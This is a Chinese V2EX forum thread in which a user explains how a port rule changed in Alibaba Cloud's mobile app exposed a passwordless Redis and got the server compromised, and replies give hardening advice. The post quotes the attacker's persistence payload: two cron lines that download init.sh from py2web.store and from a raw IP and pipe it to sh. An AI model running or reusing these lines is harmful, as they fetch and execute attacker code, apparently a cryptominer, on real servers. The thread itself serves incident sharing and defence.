V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Recommended Services
Amazon Web Services
LeanCloud
New Relic
ClearDB
lerry
V2EX  ›  云计算

阿里云手机 App 上的一个操作导致我的服务器被入侵

  •  
  •   lerry · 2021-02-01 20:03:32 +08:00 · 6042 次点击
    这是一个创建于 1392 天前的主题,其中的信息可能已经有所发展或是发生改变。
    事情是这样, 刚才发现我的一个服务挂了,仔细检查发现是 redis 问题,
    我勒个去,我所有的 key 都没了,只剩下 backup1 - backup12 这十二个 key,内容略有不同,大致是下边这样

    \n\n\n*/24 * * * * root wdt -q -O- http://py2web.store/cleanfda/init.sh | sh\n\n
    \n\n\n*/4 * * * * root wget -q -O- http://176.123.10.57/cleanfda/init.sh | sh\n\n

    怎么会这样,平时只开必要的端口,6379 是绝对不开的

    时间回到 1 个小时前,我新跑了一个服务,需要打开 tcp 端口 12345,我拿出手机,打开阿里云,操作安全组,开端口,一气呵成。




    咦?怎么不行?原来程序需要的是 tcp 端口,我设置成了 udp 。找到新增的一条规则,把 udp 改成 tcp,确定,O 了,搞定





    经过就是这样,看出问题了吗?以上过程均可复现

    被入侵,我想过很多种可能,却没想到这一种

    到现在我也没找到阿里云的安全组操作日志在哪里
    31 条回复    2021-03-24 10:31:45 +08:00
    wunonglin
        1
    wunonglin  
       2021-02-01 20:06:58 +08:00
    你是说 udp 换成 tcp 的时候端口范围会变成 1/65535,然后没注意看然后就保存了是不?

    另外你 redis 干嘛 bind0.0.0.0 啊?
    lerry
        2
    lerry  
    OP
       2021-02-01 20:17:02 +08:00
    @wunonglin #1 是的,用 docker 跑的 redis,有防火墙,就没在意
    keepeye
        3
    keepeye  
       2021-02-01 20:22:52 +08:00   ❤️ 2
    不管做什么操作,要核对一遍再提交
    towser
        4
    towser  
       2021-02-01 20:26:25 +08:00
    也没启用密码吧。现在扫 redis 的多如牛毛,我测试服务器放公网半小时就被入侵了。
    YouLMAO
        5
    YouLMAO  
       2021-02-01 20:39:39 +08:00
    没注意看
    YouLMAO
        6
    YouLMAO  
       2021-02-01 20:40:48 +08:00
    如果我是蚂蚁金服 ceo, 直接开除你和你全组, 线上服务器还能单人操作的不经 review 流程的
    illl
        7
    illl  
       2021-02-01 20:43:00 +08:00 via iPhone
    这个不应该是自己没设密码导致的呗
    boris93
        8
    boris93  
       2021-02-01 21:50:25 +08:00 via Android   ❤️ 5
    @YouLMAO @illl
    严重事故从来都不是因为某个单独的原因,而是多个问题同时出现,而它们正好能导致一场事故
    即,瑞士奶酪理论
    swulling
        9
    swulling  
       2021-02-01 21:54:59 +08:00 via iPhone
    不能因为内网就不设置密码。
    matrix67
        10
    matrix67  
       2021-02-01 22:04:44 +08:00   ❤️ 1
    赶紧重装机器,不单单只是 redis 被黑了

    说不定还会横向移动攻击数据库之类的,再加上现在还有 sudo 提权漏洞

    错就错在 "一气呵成" 啊
    PerFectTime
        11
    PerFectTime  
       2021-02-01 22:05:52 +08:00   ❤️ 1
    docker 发布端口的时候得加上 127.0.0.1
    防火墙规则对 docker 端口无效
    lerry
        12
    lerry  
    OP
       2021-02-01 23:25:58 +08:00
    @matrix67 #10 还好是 docker 跑的,还有一个 postgresql 也是 docker 跑的有密码

    @PerFectTime #11 学习了,这个用的是阿里云的防火墙
    mytsing520
        13
    mytsing520  
       2021-02-01 23:31:00 +08:00
    虽然有马后炮的嫌疑,但我是从不信任任何在手机端对生产环境进行的操作,即便是我自己或信任的人进行的操作,毕竟鬼知道会发生什么问题。
    lxiszuhi
        14
    lxiszuhi  
       2021-02-01 23:38:18 +08:00
    linux 这么容易黑的吗?
    lerry
        15
    lerry  
    OP
       2021-02-01 23:42:11 +08:00
    @lxiszuhi #14 默认端口+没有密码 特别危险
    PerFectTime
        16
    PerFectTime  
       2021-02-01 23:57:36 +08:00
    @lerry #12 ps: 防火墙规则对 docker 无效指的是 iptables
    learningman
        17
    learningman  
       2021-02-02 00:05:26 +08:00
    @PerFectTime 对,这玩意儿最容易反应不过来,docker 默认 bind 0.0.0.0,然后还会自动加 iptables 规则
    min
        18
    min  
       2021-02-02 02:03:39 +08:00   ❤️ 1
    你的 redis 不设密码导致你的服务器被入侵
    yzbythesea
        19
    yzbythesea  
       2021-02-02 03:26:13 +08:00
    安全组设成 0.0.0.0/10,真是心大啊。
    d5
        20
    d5  
       2021-02-02 08:48:01 +08:00 via iPhone
    赞同 18 楼的说法
    saytesnake
        21
    saytesnake  
       2021-02-02 08:55:37 +08:00
    @learningman

    阿里云上我反而不担心这问题,有安全组配置,不过我没用过 APP,手机上弄这个不太好感觉。

    目前非一堆微服务的单体应用已经慢慢转成 Podman 了,非 root 启动搭配上 systemd 很舒适。
    tankren
        22
    tankren  
       2021-02-02 10:38:58 +08:00
    redis 开放是根本原因 不过你可以提交“bug”给 APP 组啊
    lopetver
        23
    lopetver  
       2021-02-02 10:49:00 +08:00
    @matrix67 https://www.cnblogs.com/intbjw/p/14326312.html

    存在横向移动的,赶紧修复为主
    lopetver
        24
    lopetver  
       2021-02-02 11:07:08 +08:00
    ![image.png]( https://i.loli.net/2021/02/02/boLIRqUsmBvjXer.png)

    截止回复时还有 4 个旷工在线呢,算力最高达 450KH
    lerry
        25
    lerry  
    OP
       2021-02-02 13:40:58 +08:00
    @yzbythesea #19 自己的程序,不是公司业务,家里没有固定 ip,现在改用 zerotier,不开放公网防火墙了
    @PerFectTime #16
    @learningman #17 受教
    cnleon
        26
    cnleon  
       2021-02-02 14:16:58 +08:00
    自己开放 1-65535,这还能怪别人?
    lozt
        27
    lozt  
       2021-02-02 16:39:17 +08:00 via Android
    @cnleon 其实我也想问…第二张图…是表示端口全开了吧😶
    lerry
        28
    lerry  
    OP
       2021-02-02 17:35:29 +08:00
    @lozt #25 是的,本来设置的 udp 12345,把 udp 改成 tcp,端口自己变成 1-65535 了,你不觉得这 App 的行为有问题吗
    Mithril
        29
    Mithril  
       2021-02-02 17:58:44 +08:00
    @lerry 阿里的东西习惯就好了,又不是没告你变成了 1-65535 。。。
    markgor
        30
    markgor  
       2021-02-05 14:06:38 +08:00
    搞运维要形成 double check 的习惯,
    就算是平常操作,配置完后还是要检查一遍才放心。

    但如果说的是 app 体验度,我觉得端口这给位置,default 应该是空的,提示是 1-65535,且必填。
    someonedeng
        31
    someonedeng  
       2021-03-24 10:31:45 +08:00
    主要还是没密码
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1000 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 19:14 · PVG 03:14 · LAX 11:14 · JFK 14:14
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.